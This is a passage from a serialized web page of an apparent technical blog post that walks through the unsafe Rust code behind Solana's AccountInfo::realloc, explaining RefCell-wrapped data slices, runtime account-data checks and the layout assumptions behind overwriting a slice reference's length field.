",{"type":23,"tag":71,"props":26680,"children":26682},{"className":26681},[],[26683],{"type":29,"value":17255},{"type":29,"value":26671},{"type":23,"tag":71,"props":26686,"children":26688},{"className":26687},[],[26689],{"type":29,"value":26690},"&mut [u8]",{"type":29,"value":26692}," pointing at the actual data buffer, when we clone the ",{"type":23,"tag":71,"props":26694,"children":26696},{"className":26695},[],[26697],{"type":29,"value":26171},{"type":29,"value":26699},", we get a new reference",{"type":23,"tag":26701,"props":26702,"children":26703},"sup",{},[26704],{"type":23,"tag":940,"props":26705,"children":26710},{"href":26706,"ariaDescribedBy":26707,"dataFootnoteRef":7,"id":26709},"#user-content-fn-rc-refs",[26708],"footnote-label","user-content-fnref-rc-refs",[26711],{"type":29,"value":7867},{"type":29,"value":26713}," to the slice pointing at the ",{"type":23,"tag":9690,"props":26715,"children":26716},{},[26717],{"type":29,"value":26718},"same",{"type":29,"value":26720}," data buffer.",{"type":23,"tag":32,"props":26722,"children":26723},{},[26724,26726,26732,26734,26740],{"type":29,"value":26725},"And of course to uphold borrowing rules while having a shared pointer, we have interior mutability via ",{"type":23,"tag":71,"props":26727,"children":26729},{"className":26728},[],[26730],{"type":29,"value":26731},"RefCell",{"type":29,"value":26733}," to check the rules at runtime. (The ",{"type":23,"tag":71,"props":26735,"children":26737},{"className":26736},[],[26738],{"type":29,"value":26739},"lamports",{"type":29,"value":26741}," field is very similar, for essentially the same reason - we need to be able to mutate it, but it is also shared between multiple instances of the same account.)",{"type":23,"tag":32,"props":26743,"children":26744},{},[26745,26747,26753],{"type":29,"value":26746},"Changing the data of an account is done by simply writing to ",{"type":23,"tag":71,"props":26748,"children":26750},{"className":26749},[],[26751],{"type":29,"value":26752},"AccountInfo::data",{"type":29,"value":26754},", which, as we just saw, is basically a pointer into the serialized buffer from the runtime; after the program exits, the loader reads the buffer back in to look at what the new state of the accounts should be.",{"type":23,"tag":32,"props":26756,"children":26757},{},[26758,26760,26767],{"type":29,"value":26759},"This is also where the ",{"type":23,"tag":940,"props":26761,"children":26764},{"href":26762,"rel":26763},"https://github.com/solana-labs/solana/blob/9fb0e76dc276f88b79720112477383a120c61b8f/program-runtime/src/pre_account.rs",[944],[26765],{"type":29,"value":26766},"runtime validity checks",{"type":29,"value":26768}," are imposed.",{"type":23,"tag":64,"props":26770,"children":26772},{"className":987,"code":26771,"language":986,"meta":7,"style":7},"// Only the owner may change account data\n//   and if the account is writable\n//   and if the account is not executable\nif !(program_id == pre.owner()\n    && is_writable  // line coverage used to get branch coverage\n    && !pre.executable())\n    && pre.data() != post.data()\n{\n    if pre.executable() {\n        return Err(InstructionError::ExecutableDataModified);\n    } else if is_writable {\n        return Err(InstructionError::ExternalAccountDataModified);\n    } else {\n        return Err(InstructionError::ReadonlyDataModified);\n    }\n}\n",[26773],{"type":23,"tag":71,"props":26774,"children":26775},{"__ignoreMap":7},[26776,26784,26792,26800,26842,26860,26889,26934,26941,26964,26997,27020,27052,27067,27099,27106],{"type":23,"tag":75,"props":26777,"children":26778},{"class":77,"line":78},[26779],{"type":23,"tag":75,"props":26780,"children":26781},{"style":3621},[26782],{"type":29,"value":26783},"// Only the owner may change account data\n",{"type":23,"tag":75,"props":26785,"children":26786},{"class":77,"line":100},[26787],{"type":23,"tag":75,"props":26788,"children":26789},{"style":3621},[26790],{"type":29,"value":26791},"//   and if the account is writable\n",{"type":23,"tag":75,"props":26793,"children":26794},{"class":77,"line":121},[26795],{"type":23,"tag":75,"props":26796,"children":26797},{"style":3621},[26798],{"type":29,"value":26799},"//   and if the account is not executable\n",{"type":23,"tag":75,"props":26801,"children":26802},{"class":77,"line":138},[26803,26808,26812,26816,26820,26824,26829,26833,26838],{"type":23,"tag":75,"props":26804,"children":26805},{"style":175},[26806],{"type":29,"value":26807},"if",{"type":23,"tag":75,"props":26809,"children":26810},{"style":209},[26811],{"type":29,"value":3122},{"type":23,"tag":75,"props":26813,"children":26814},{"style":94},[26815],{"type":29,"value":643},{"type":23,"tag":75,"props":26817,"children":26818},{"style":110},[26819],{"type":29,"value":25902},{"type":23,"tag":75,"props":26821,"children":26822},{"style":209},[26823],{"type":29,"value":1372},{"type":23,"tag":75,"props":26825,"children":26826},{"style":110},[26827],{"type":29,"value":26828}," pre",{"type":23,"tag":75,"props":26830,"children":26831},{"style":209},[26832],{"type":29,"value":557},{"type":23,"tag":75,"props":26834,"children":26835},{"style":88},[26836],{"type":29,"value":26837},"owner",{"type":23,"tag":75,"props":26839,"children":26840},{"style":94},[26841],{"type":29,"value":3249},{"type":23,"tag":75,"props":26843,"children":26844},{"class":77,"line":161},[26845,26850,26855],{"type":23,"tag":75,"props":26846,"children":26847},{"style":209},[26848],{"type":29,"value":26849},"    &&",{"type":23,"tag":75,"props":26851,"children":26852},{"style":110},[26853],{"type":29,"value":26854}," is_writable",{"type":23,"tag":75,"props":26856,"children":26857},{"style":3621},[26858],{"type":29,"value":26859},"  // line coverage used to get branch coverage\n",{"type":23,"tag":75,"props":26861,"children":26862},{"class":77,"line":196},[26863,26867,26871,26875,26879,26884],{"type":23,"tag":75,"props":26864,"children":26865},{"style":209},[26866],{"type":29,"value":26849},{"type":23,"tag":75,"props":26868,"children":26869},{"style":209},[26870],{"type":29,"value":3122},{"type":23,"tag":75,"props":26872,"children":26873},{"style":110},[26874],{"type":29,"value":64},{"type":23,"tag":75,"props":26876,"children":26877},{"style":209},[26878],{"type":29,"value":557},{"type":23,"tag":75,"props":26880,"children":26881},{"style":88},[26882],{"type":29,"value":26883},"executable",{"type":23,"tag":75,"props":26885,"children":26886},{"style":94},[26887],{"type":29,"value":26888},"())\n",{"type":23,"tag":75,"props":26890,"children":26891},{"class":77,"line":220},[26892,26896,26900,26904,26908,26912,26917,26922,26926,26930],{"type":23,"tag":75,"props":26893,"children":26894},{"style":209},[26895],{"type":29,"value":26849},{"type":23,"tag":75,"props":26897,"children":26898},{"style":110},[26899],{"type":29,"value":26828},{"type":23,"tag":75,"props":26901,"children":26902},{"style":209},[26903],{"type":29,"value":557},{"type":23,"tag":75,"props":26905,"children":26906},{"style":88},[26907],{"type":29,"value":14976},{"type":23,"tag":75,"props":26909,"children":26910},{"style":94},[26911],{"type":29,"value":2464},{"type":23,"tag":75,"props":26913,"children":26914},{"style":209},[26915],{"type":29,"value":26916},"!=",{"type":23,"tag":75,"props":26918,"children":26919},{"style":110},[26920],{"type":29,"value":26921}," post",{"type":23,"tag":75,"props":26923,"children":26924},{"style":209},[26925],{"type":29,"value":557},{"type":23,"tag":75,"props":26927,"children":26928},{"style":88},[26929],{"type":29,"value":14976},{"type":23,"tag":75,"props":26931,"children":26932},{"style":94},[26933],{"type":29,"value":3249},{"type":23,"tag":75,"props":26935,"children":26936},{"class":77,"line":248},[26937],{"type":23,"tag":75,"props":26938,"children":26939},{"style":94},[26940],{"type":29,"value":2549},{"type":23,"tag":75,"props":26942,"children":26943},{"class":77,"line":270},[26944,26948,26952,26956,26960],{"type":23,"tag":75,"props":26945,"children":26946},{"style":175},[26947],{"type":29,"value":1363},{"type":23,"tag":75,"props":26949,"children":26950},{"style":110},[26951],{"type":29,"value":26828},{"type":23,"tag":75,"props":26953,"children":26954},{"style":209},[26955],{"type":29,"value":557},{"type":23,"tag":75,"props":26957,"children":26958},{"style":88},[26959],{"type":29,"value":26883},{"type":23,"tag":75,"props":26961,"children":26962},{"style":94},[26963],{"type":29,"value":12966},{"type":23,"tag":75,"props":26965,"children":26966},{"class":77,"line":279},[26967,26971,26975,26979,26984,26988,26993],{"type":23,"tag":75,"props":26968,"children":26969},{"style":175},[26970],{"type":29,"value":1388},{"type":23,"tag":75,"props":26972,"children":26973},{"style":104},[26974],{"type":29,"value":1393},{"type":23,"tag":75,"props":26976,"children":26977},{"style":94},[26978],{"type":29,"value":643},{"type":23,"tag":75,"props":26980,"children":26981},{"style":104},[26982],{"type":29,"value":26983},"InstructionError",{"type":23,"tag":75,"props":26985,"children":26986},{"style":209},[26987],{"type":29,"value":1407},{"type":23,"tag":75,"props":26989,"children":26990},{"style":104},[26991],{"type":29,"value":26992},"ExecutableDataModified",{"type":23,"tag":75,"props":26994,"children":26995},{"style":94},[26996],{"type":29,"value":15099},{"type":23,"tag":75,"props":26998,"children":26999},{"class":77,"line":303},[27000,27004,27008,27012,27016],{"type":23,"tag":75,"props":27001,"children":27002},{"style":94},[27003],{"type":29,"value":8344},{"type":23,"tag":75,"props":27005,"children":27006},{"style":175},[27007],{"type":29,"value":6878},{"type":23,"tag":75,"props":27009,"children":27010},{"style":175},[27011],{"type":29,"value":7386},{"type":23,"tag":75,"props":27013,"children":27014},{"style":110},[27015],{"type":29,"value":26854},{"type":23,"tag":75,"props":27017,"children":27018},{"style":94},[27019],{"type":29,"value":401},{"type":23,"tag":75,"props":27021,"children":27022},{"class":77,"line":322},[27023,27027,27031,27035,27039,27043,27048],{"type":23,"tag":75,"props":27024,"children":27025},{"style":175},[27026],{"type":29,"value":1388},{"type":23,"tag":75,"props":27028,"children":27029},{"style":104},[27030],{"type":29,"value":1393},{"type":23,"tag":75,"props":27032,"children":27033},{"style":94},[27034],{"type":29,"value":643},{"type":23,"tag":75,"props":27036,"children":27037},{"style":104},[27038],{"type":29,"value":26983},{"type":23,"tag":75,"props":27040,"children":27041},{"style":209},[27042],{"type":29,"value":1407},{"type":23,"tag":75,"props":27044,"children":27045},{"style":104},[27046],{"type":29,"value":27047},"ExternalAccountDataModified",{"type":23,"tag":75,"props":27049,"children":27050},{"style":94},[27051],{"type":29,"value":15099},{"type":23,"tag":75,"props":27053,"children":27054},{"class":77,"line":340},[27055,27059,27063],{"type":23,"tag":75,"props":27056,"children":27057},{"style":94},[27058],{"type":29,"value":8344},{"type":23,"tag":75,"props":27060,"children":27061},{"style":175},[27062],{"type":29,"value":6878},{"type":23,"tag":75,"props":27064,"children":27065},{"style":94},[27066],{"type":29,"value":401},{"type":23,"tag":75,"props":27068,"children":27069},{"class":77,"line":349},[27070,27074,27078,27082,27086,27090,27095],{"type":23,"tag":75,"props":27071,"children":27072},{"style":175},[27073],{"type":29,"value":1388},{"type":23,"tag":75,"props":27075,"children":27076},{"style":104},[27077],{"type":29,"value":1393},{"type":23,"tag":75,"props":27079,"children":27080},{"style":94},[27081],{"type":29,"value":643},{"type":23,"tag":75,"props":27083,"children":27084},{"style":104},[27085],{"type":29,"value":26983},{"type":23,"tag":75,"props":27087,"children":27088},{"style":209},[27089],{"type":29,"value":1407},{"type":23,"tag":75,"props":27091,"children":27092},{"style":104},[27093],{"type":29,"value":27094},"ReadonlyDataModified",{"type":23,"tag":75,"props":27096,"children":27097},{"style":94},[27098],{"type":29,"value":15099},{"type":23,"tag":75,"props":27100,"children":27101},{"class":77,"line":363},[27102],{"type":23,"tag":75,"props":27103,"children":27104},{"style":94},[27105],{"type":29,"value":346},{"type":23,"tag":75,"props":27107,"children":27108},{"class":77,"line":656},[27109],{"type":23,"tag":75,"props":27110,"children":27111},{"style":94},[27112],{"type":29,"value":369},{"type":23,"tag":923,"props":27114,"children":27116},{"id":27115},"back-to-realloc",[27117,27119],{"type":29,"value":27118},"Back to ",{"type":23,"tag":71,"props":27120,"children":27122},{"className":27121},[],[27123],{"type":29,"value":24881},{"type":23,"tag":32,"props":27125,"children":27126},{},[27127],{"type":29,"value":27128},"As a reminder, this is what we were looking at before that detour:",{"type":23,"tag":64,"props":27130,"children":27131},{"className":987,"code":25627,"language":986,"meta":7,"style":7},[27132],{"type":23,"tag":71,"props":27133,"children":27134},{"__ignoreMap":7},[27135,27142,27229],{"type":23,"tag":75,"props":27136,"children":27137},{"class":77,"line":78},[27138],{"type":23,"tag":75,"props":27139,"children":27140},{"style":3621},[27141],{"type":29,"value":25639},{"type":23,"tag":75,"props":27143,"children":27144},{"class":77,"line":100},[27145,27149,27153,27157,27161,27165,27169,27173,27177,27181,27185,27189,27193,27197,27201,27205,27209,27213,27217,27221,27225],{"type":23,"tag":75,"props":27146,"children":27147},{"style":82},[27148],{"type":29,"value":23033},{"type":23,"tag":75,"props":27150,"children":27151},{"style":110},[27152],{"type":29,"value":25099},{"type":23,"tag":75,"props":27154,"children":27155},{"style":209},[27156],{"type":29,"value":1193},{"type":23,"tag":75,"props":27158,"children":27159},{"style":82},[27160],{"type":29,"value":25039},{"type":23,"tag":75,"props":27162,"children":27163},{"style":209},[27164],{"type":29,"value":557},{"type":23,"tag":75,"props":27166,"children":27167},{"style":88},[27168],{"type":29,"value":25116},{"type":23,"tag":75,"props":27170,"children":27171},{"style":94},[27172],{"type":29,"value":1417},{"type":23,"tag":75,"props":27174,"children":27175},{"style":209},[27176],{"type":29,"value":14418},{"type":23,"tag":75,"props":27178,"children":27179},{"style":88},[27180],{"type":29,"value":25129},{"type":23,"tag":75,"props":27182,"children":27183},{"style":94},[27184],{"type":29,"value":1417},{"type":23,"tag":75,"props":27186,"children":27187},{"style":209},[27188],{"type":29,"value":557},{"type":23,"tag":75,"props":27190,"children":27191},{"style":88},[27192],{"type":29,"value":25142},{"type":23,"tag":75,"props":27194,"children":27195},{"style":94},[27196],{"type":29,"value":643},{"type":23,"tag":75,"props":27198,"children":27199},{"style":209},[27200],{"type":29,"value":15602},{"type":23,"tag":75,"props":27202,"children":27203},{"style":237},[27204],{"type":29,"value":15349},{"type":23,"tag":75,"props":27206,"children":27207},{"style":94},[27208],{"type":29,"value":167},{"type":23,"tag":75,"props":27210,"children":27211},{"style":82},[27212],{"type":29,"value":20097},{"type":23,"tag":75,"props":27214,"children":27215},{"style":209},[27216],{"type":29,"value":579},{"type":23,"tag":75,"props":27218,"children":27219},{"style":82},[27220],{"type":29,"value":14998},{"type":23,"tag":75,"props":27222,"children":27223},{"style":104},[27224],{"type":29,"value":17129},{"type":23,"tag":75,"props":27226,"children":27227},{"style":94},[27228],{"type":29,"value":245},{"type":23,"tag":75,"props":27230,"children":27231},{"class":77,"line":121},[27232,27236,27240,27244,27248,27252,27256],{"type":23,"tag":75,"props":27233,"children":27234},{"style":209},[27235],{"type":29,"value":601},{"type":23,"tag":75,"props":27237,"children":27238},{"style":110},[27239],{"type":29,"value":25190},{"type":23,"tag":75,"props":27241,"children":27242},{"style":209},[27243],{"type":29,"value":1193},{"type":23,"tag":75,"props":27245,"children":27246},{"style":110},[27247],{"type":29,"value":25199},{"type":23,"tag":75,"props":27249,"children":27250},{"style":82},[27251],{"type":29,"value":20083},{"type":23,"tag":75,"props":27253,"children":27254},{"style":104},[27255],{"type":29,"value":17129},{"type":23,"tag":75,"props":27257,"children":27258},{"style":94},[27259],{"type":29,"value":245},{"type":23,"tag":32,"props":27261,"children":27262},{},[27263,27268,27270,27275,27277,27282,27284,27295,27297,27302,27304,27309],{"type":23,"tag":71,"props":27264,"children":27266},{"className":27265},[],[27267],{"type":29,"value":25116},{"type":29,"value":27269}," gives us the ",{"type":23,"tag":71,"props":27271,"children":27273},{"className":27272},[],[27274],{"type":29,"value":26690},{"type":29,"value":27276}," from the ",{"type":23,"tag":71,"props":27278,"children":27280},{"className":27279},[],[27281],{"type":29,"value":26566},{"type":29,"value":27283},", whose data is inside the serialized buffer and immediately after the size of the data inside the serialized buffer. And ",{"type":23,"tag":940,"props":27285,"children":27288},{"href":27286,"rel":27287},"https://doc.rust-lang.org/std/primitive.slice.html#method.as_mut_ptr",[944],[27289],{"type":23,"tag":71,"props":27290,"children":27292},{"className":27291},[],[27293],{"type":29,"value":27294},"slice::as_mut_ptr()",{"type":29,"value":27296}," gives us that data pointer directly. So, this code computes a pointer to that serialized size field (8 bytes - the size of a ",{"type":23,"tag":71,"props":27298,"children":27300},{"className":27299},[],[27301],{"type":29,"value":19301},{"type":29,"value":27303}," - behind the data buffer), and then writes ",{"type":23,"tag":71,"props":27305,"children":27307},{"className":27306},[],[27308],{"type":29,"value":24965},{"type":29,"value":27310}," to it.",{"type":23,"tag":32,"props":27312,"children":27313},{},[27314,27316,27328,27330,27336],{"type":29,"value":27315},"This is reasonable... ",{"type":23,"tag":9690,"props":27317,"children":27318},{},[27319,27321,27326],{"type":29,"value":27320},"as long as the ",{"type":23,"tag":71,"props":27322,"children":27324},{"className":27323},[],[27325],{"type":29,"value":14976},{"type":29,"value":27327}," actually came from the serialized buffer",{"type":29,"value":27329},". We'll come back to this ",{"type":23,"tag":940,"props":27331,"children":27333},{"href":27332},"#Not-contracts",[27334],{"type":29,"value":27335},"later",{"type":29,"value":557},{"type":23,"tag":32,"props":27338,"children":27339},{},[27340,27342,27347],{"type":29,"value":27341},"At this point we've updated the serialized buffer, so at exit the runtime will understand that the size of the account's data buffer has changed. However, we haven't dealt with the Rust side yet. Slices have a length, and we haven't dealt with the ",{"type":23,"tag":71,"props":27343,"children":27345},{"className":27344},[],[27346],{"type":29,"value":26690},{"type":29,"value":27348}," slice that is our view into the data from the Rust world. So let's look at the next chunk:",{"type":23,"tag":64,"props":27350,"children":27352},{"className":987,"code":27351,"language":986,"meta":7,"style":7},"// Then set the new length in the local slice\nlet ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n*ptr = new_len as u64;\n",[27353],{"type":23,"tag":71,"props":27354,"children":27355},{"__ignoreMap":7},[27356,27364,27491],{"type":23,"tag":75,"props":27357,"children":27358},{"class":77,"line":78},[27359],{"type":23,"tag":75,"props":27360,"children":27361},{"style":3621},[27362],{"type":29,"value":27363},"// Then set the new length in the local slice\n",{"type":23,"tag":75,"props":27365,"children":27366},{"class":77,"line":100},[27367,27371,27375,27379,27383,27387,27391,27395,27399,27403,27407,27411,27415,27419,27423,27427,27431,27435,27439,27443,27447,27451,27455,27459,27463,27467,27471,27475,27479,27483,27487],{"type":23,"tag":75,"props":27368,"children":27369},{"style":82},[27370],{"type":29,"value":23033},{"type":23,"tag":75,"props":27372,"children":27373},{"style":110},[27374],{"type":29,"value":25099},{"type":23,"tag":75,"props":27376,"children":27377},{"style":209},[27378],{"type":29,"value":1193},{"type":23,"tag":75,"props":27380,"children":27381},{"style":209},[27382],{"type":29,"value":844},{"type":23,"tag":75,"props":27384,"children":27385},{"style":82},[27386],{"type":29,"value":14998},{"type":23,"tag":75,"props":27388,"children":27389},{"style":209},[27390],{"type":29,"value":579},{"type":23,"tag":75,"props":27392,"children":27393},{"style":94},[27394],{"type":29,"value":25258},{"type":23,"tag":75,"props":27396,"children":27397},{"style":82},[27398],{"type":29,"value":24956},{"type":23,"tag":75,"props":27400,"children":27401},{"style":209},[27402],{"type":29,"value":557},{"type":23,"tag":75,"props":27404,"children":27405},{"style":94},[27406],{"type":29,"value":14976},{"type":23,"tag":75,"props":27408,"children":27409},{"style":209},[27410],{"type":29,"value":557},{"type":23,"tag":75,"props":27412,"children":27413},{"style":88},[27414],{"type":29,"value":25279},{"type":23,"tag":75,"props":27416,"children":27417},{"style":94},[27418],{"type":29,"value":2464},{"type":23,"tag":75,"props":27420,"children":27421},{"style":82},[27422],{"type":29,"value":20097},{"type":23,"tag":75,"props":27424,"children":27425},{"style":209},[27426],{"type":29,"value":579},{"type":23,"tag":75,"props":27428,"children":27429},{"style":82},[27430],{"type":29,"value":2869},{"type":23,"tag":75,"props":27432,"children":27433},{"style":104},[27434],{"type":29,"value":17129},{"type":23,"tag":75,"props":27436,"children":27437},{"style":94},[27438],{"type":29,"value":1347},{"type":23,"tag":75,"props":27440,"children":27441},{"style":209},[27442],{"type":29,"value":557},{"type":23,"tag":75,"props":27444,"children":27445},{"style":88},[27446],{"type":29,"value":25142},{"type":23,"tag":75,"props":27448,"children":27449},{"style":94},[27450],{"type":29,"value":643},{"type":23,"tag":75,"props":27452,"children":27453},{"style":237},[27454],{"type":29,"value":7867},{"type":23,"tag":75,"props":27456,"children":27457},{"style":94},[27458],{"type":29,"value":167},{"type":23,"tag":75,"props":27460,"children":27461},{"style":82},[27462],{"type":29,"value":20097},{"type":23,"tag":75,"props":27464,"children":27465},{"style":104},[27466],{"type":29,"value":17129},{"type":23,"tag":75,"props":27468,"children":27469},{"style":94},[27470],{"type":29,"value":167},{"type":23,"tag":75,"props":27472,"children":27473},{"style":82},[27474],{"type":29,"value":20097},{"type":23,"tag":75,"props":27476,"children":27477},{"style":209},[27478],{"type":29,"value":579},{"type":23,"tag":75,"props":27480,"children":27481},{"style":82},[27482],{"type":29,"value":14998},{"type":23,"tag":75,"props":27484,"children":27485},{"style":104},[27486],{"type":29,"value":17129},{"type":23,"tag":75,"props":27488,"children":27489},{"style":94},[27490],{"type":29,"value":15099},{"type":23,"tag":75,"props":27492,"children":27493},{"class":77,"line":121},[27494,27498,27502,27506,27510,27514,27518],{"type":23,"tag":75,"props":27495,"children":27496},{"style":209},[27497],{"type":29,"value":601},{"type":23,"tag":75,"props":27499,"children":27500},{"style":110},[27501],{"type":29,"value":25190},{"type":23,"tag":75,"props":27503,"children":27504},{"style":209},[27505],{"type":29,"value":1193},{"type":23,"tag":75,"props":27507,"children":27508},{"style":110},[27509],{"type":29,"value":25199},{"type":23,"tag":75,"props":27511,"children":27512},{"style":82},[27513],{"type":29,"value":20083},{"type":23,"tag":75,"props":27515,"children":27516},{"style":104},[27517],{"type":29,"value":17129},{"type":23,"tag":75,"props":27519,"children":27520},{"style":94},[27521],{"type":29,"value":245},{"type":23,"tag":32,"props":27523,"children":27524},{},[27525,27527,27533,27535,27546,27548,27554,27556,27562,27564,27569,27571,27576,27578,27588,27589,27596,27597,27604,27611,27613,27619,27621,27627,27629,27634,27636,27641,27643,27649,27651,27656],{"type":29,"value":27526},"That ",{"type":23,"tag":71,"props":27528,"children":27530},{"className":27529},[],[27531],{"type":29,"value":27532},"as_ptr()",{"type":29,"value":27534}," call is ",{"type":23,"tag":940,"props":27536,"children":27539},{"href":27537,"rel":27538},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.as_ptr",[944],[27540],{"type":23,"tag":71,"props":27541,"children":27543},{"className":27542},[],[27544],{"type":29,"value":27545},"RefCell::as_ptr()",{"type":29,"value":27547}," due to the ",{"type":23,"tag":71,"props":27549,"children":27551},{"className":27550},[],[27552],{"type":29,"value":27553},"Deref",{"type":29,"value":27555}," impl on ",{"type":23,"tag":71,"props":27557,"children":27559},{"className":27558},[],[27560],{"type":29,"value":27561},"Rc",{"type":29,"value":27563}," (remember also that ",{"type":23,"tag":71,"props":27565,"children":27567},{"className":27566},[],[27568],{"type":29,"value":26731},{"type":29,"value":27570}," itself doesn't behave like a reference, you need to actually ",{"type":23,"tag":9690,"props":27572,"children":27573},{},[27574],{"type":29,"value":27575},"get",{"type":29,"value":27577}," one through ",{"type":23,"tag":940,"props":27579,"children":27582},{"href":27580,"rel":27581},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow",[944],[27583],{"type":23,"tag":71,"props":27584,"children":27586},{"className":27585},[],[27587],{"type":29,"value":20057},{"type":29,"value":949},{"type":23,"tag":940,"props":27590,"children":27593},{"href":27591,"rel":27592},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow_mut",[944],[27594],{"type":29,"value":27595},"and",{"type":29,"value":949},{"type":23,"tag":940,"props":27598,"children":27601},{"href":27599,"rel":27600},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow",[944],[27602],{"type":29,"value":27603},"frie",{"type":23,"tag":940,"props":27605,"children":27608},{"href":27606,"rel":27607},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow_mut",[944],[27609],{"type":29,"value":27610},"nds",{"type":29,"value":27612},"). So from ",{"type":23,"tag":71,"props":27614,"children":27616},{"className":27615},[],[27617],{"type":29,"value":27618},"RefCell::\u003C&mut [u8]>::as_mut()",{"type":29,"value":27620}," we get a ",{"type":23,"tag":71,"props":27622,"children":27624},{"className":27623},[],[27625],{"type":29,"value":27626},"*mut &mut [u8]",{"type":29,"value":27628}," - a ",{"type":23,"tag":9690,"props":27630,"children":27631},{},[27632],{"type":29,"value":27633},"pointer",{"type":29,"value":27635}," to the ",{"type":23,"tag":9690,"props":27637,"children":27638},{},[27639],{"type":29,"value":27640},"slice reference",{"type":29,"value":27642},". From here, we turn the pointer into a ",{"type":23,"tag":71,"props":27644,"children":27646},{"className":27645},[],[27647],{"type":29,"value":27648},"*const u64",{"type":29,"value":27650}," pointer and then offset by 1 ",{"type":23,"tag":71,"props":27652,"children":27654},{"className":27653},[],[27655],{"type":29,"value":19301},{"type":29,"value":27657}," (so 8 bytes). Finally, we switch the pointer back to being mutable, and write the new length to it.",{"type":23,"tag":32,"props":27659,"children":27660},{},[27661,27663,27668,27670,27675,27677,27682,27684,27689,27691,27697],{"type":29,"value":27662},"Now, if you're sitting here thinking that this is unnecessarily convoluted and confusing, you'd be right! But we'll get back to that ",{"type":23,"tag":940,"props":27664,"children":27666},{"href":27665},"#Towards-safer-unsafe",[27667],{"type":29,"value":27335},{"type":29,"value":27669}," too, I promise. In summary, we're writing the new length as a ",{"type":23,"tag":71,"props":27671,"children":27673},{"className":27672},[],[27674],{"type":29,"value":19301},{"type":29,"value":27676}," to the region starting 8 bytes from the start of the slice ",{"type":23,"tag":9690,"props":27678,"children":27679},{},[27680],{"type":29,"value":27681},"reference",{"type":29,"value":27683}," (the ",{"type":23,"tag":71,"props":27685,"children":27687},{"className":27686},[],[27688],{"type":29,"value":26690},{"type":29,"value":27690},").So, what does ",{"type":23,"tag":71,"props":27692,"children":27694},{"className":27693},[],[27695],{"type":29,"value":27696},"&[T]",{"type":29,"value":27698}," look like in Rust?",{"type":23,"tag":32,"props":27700,"children":27701},{},[27702,27704,27711,27713,27726,27728,27734],{"type":29,"value":27703},"According to ",{"type":23,"tag":940,"props":27705,"children":27708},{"href":27706,"rel":27707},"https://doc.rust-lang.org/reference/type-layout.html#pointers-and-references-layout",[944],[27709],{"type":29,"value":27710},"the reference",{"type":29,"value":27712},", it's completely undefined - there are no guarantees made in the reference, and ",{"type":23,"tag":940,"props":27714,"children":27717},{"href":27715,"rel":27716},"https://doc.rust-lang.org/reference/type-layout.html",[944],[27718,27720,27724],{"type":29,"value":27719},"\"Type layout can be changed with each compilation. ",{"type":23,"tag":75,"props":27721,"children":27722},{},[27723],{"type":29,"value":9174},{"type":29,"value":27725}," we only document what is guaranteed today\"",{"type":29,"value":27727},". But it seems like those pesky language specs aren't stopping Solana developers. In current ",{"type":23,"tag":71,"props":27729,"children":27731},{"className":27730},[],[27732],{"type":29,"value":27733},"rustc",{"type":29,"value":27735},", the layout is a data pointer followed by the size; essentially the same as:",{"type":23,"tag":64,"props":27737,"children":27740},{"className":27738,"code":27739,"language":14432,"meta":7,"style":7},"language-c shiki shiki-themes slack-dark","// C language\nstruct slice_ref {\n    void* ptr;\n    size_t len;\n};\n",[27741],{"type":23,"tag":71,"props":27742,"children":27743},{"__ignoreMap":7},[27744,27752,27764,27781,27794],{"type":23,"tag":75,"props":27745,"children":27746},{"class":77,"line":78},[27747],{"type":23,"tag":75,"props":27748,"children":27749},{"style":3621},[27750],{"type":29,"value":27751},"// C language\n",{"type":23,"tag":75,"props":27753,"children":27754},{"class":77,"line":100},[27755,27759],{"type":23,"tag":75,"props":27756,"children":27757},{"style":82},[27758],{"type":29,"value":20652},{"type":23,"tag":75,"props":27760,"children":27761},{"style":94},[27762],{"type":29,"value":27763}," slice_ref {\n",{"type":23,"tag":75,"props":27765,"children":27766},{"class":77,"line":121},[27767,27772,27776],{"type":23,"tag":75,"props":27768,"children":27769},{"style":82},[27770],{"type":29,"value":27771},"    void",{"type":23,"tag":75,"props":27773,"children":27774},{"style":209},[27775],{"type":29,"value":601},{"type":23,"tag":75,"props":27777,"children":27778},{"style":94},[27779],{"type":29,"value":27780}," ptr;\n",{"type":23,"tag":75,"props":27782,"children":27783},{"class":77,"line":138},[27784,27789],{"type":23,"tag":75,"props":27785,"children":27786},{"style":82},[27787],{"type":29,"value":27788},"    size_t",{"type":23,"tag":75,"props":27790,"children":27791},{"style":94},[27792],{"type":29,"value":27793}," len;\n",{"type":23,"tag":75,"props":27795,"children":27796},{"class":77,"line":161},[27797],{"type":23,"tag":75,"props":27798,"children":27799},{"style":94},[27800],{"type":29,"value":27801},"};\n",{"type":23,"tag":32,"props":27803,"children":27804},{},[27805],{"type":29,"value":27806},"So at the end of the day we find out that the code is simply writing over the length field in the slice reference. Let's step back a moment and take a look at all the assumptions we made along the way while executing these 2 lines (really only one of importance!):",{"type":23,"tag":2797,"props":27808,"children":27809},{},[27810,27815,27833],{"type":23,"tag":2801,"props":27811,"children":27812},{},[27813],{"type":29,"value":27814},"Slices are laid out in the precise manner described",{"type":23,"tag":2801,"props":27816,"children":27817},{},[27818,27820,27826,27828],{"type":29,"value":27819},"Pointers and ",{"type":23,"tag":71,"props":27821,"children":27823},{"className":27822},[],[27824],{"type":29,"value":27825},"usize",{"type":29,"value":27827}," are the same width as ",{"type":23,"tag":71,"props":27829,"children":27831},{"className":27830},[],[27832],{"type":29,"value":19301},{"type":23,"tag":2801,"props":27834,"children":27835},{},[27836,27837,27842],{"type":29,"value":2846},{"type":23,"tag":71,"props":27838,"children":27840},{"className":27839},[],[27841],{"type":29,"value":26731},{"type":29,"value":27843}," was not borrowed (i.e. we didn't just mutate it while someone else has a reference to its contents)",{"type":23,"tag":32,"props":27845,"children":27846},{},[27847,27849,27854,27856,27862,27864,27869,27871,27877,27879,27884,27886,27896],{"type":29,"value":27848},"Assumption #2 is ",{"type":23,"tag":9690,"props":27850,"children":27851},{},[27852],{"type":29,"value":27853},"probably",{"type":29,"value":27855}," fine when we only care about targeting Solana's bytecode machine, but still not a particularly safe assumption to make in case some change happens on the toolchain. And assumption #3 turns out to be a non-issue since we had just done a ",{"type":23,"tag":71,"props":27857,"children":27859},{"className":27858},[],[27860],{"type":29,"value":27861},"borrow_mut",{"type":29,"value":27863}," of the 